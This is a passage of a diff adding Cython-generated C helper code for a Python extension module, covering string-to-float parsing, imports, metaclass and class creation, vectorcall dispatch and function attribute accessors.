__Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pynumber_float */ + static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj) { + double val; + if (PyLong_CheckExact(obj)) { +#if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(obj))) { + val = (double) __Pyx_PyLong_CompactValue(obj); + goto no_error; + } +#endif + val = PyLong_AsDouble(obj); + } else if (PyUnicode_CheckExact(obj)) { + val = __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + val = __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + val = __Pyx_PyByteArray_AsDouble(obj); + } else { + return PyNumber_Float(obj); + } + if (unlikely(val == -1 && PyErr_Occurred())) { + return NULL; + } +#if CYTHON_USE_PYLONG_INTERNALS +no_error: +#endif + return PyFloat_FromDouble(val); +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__34); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + 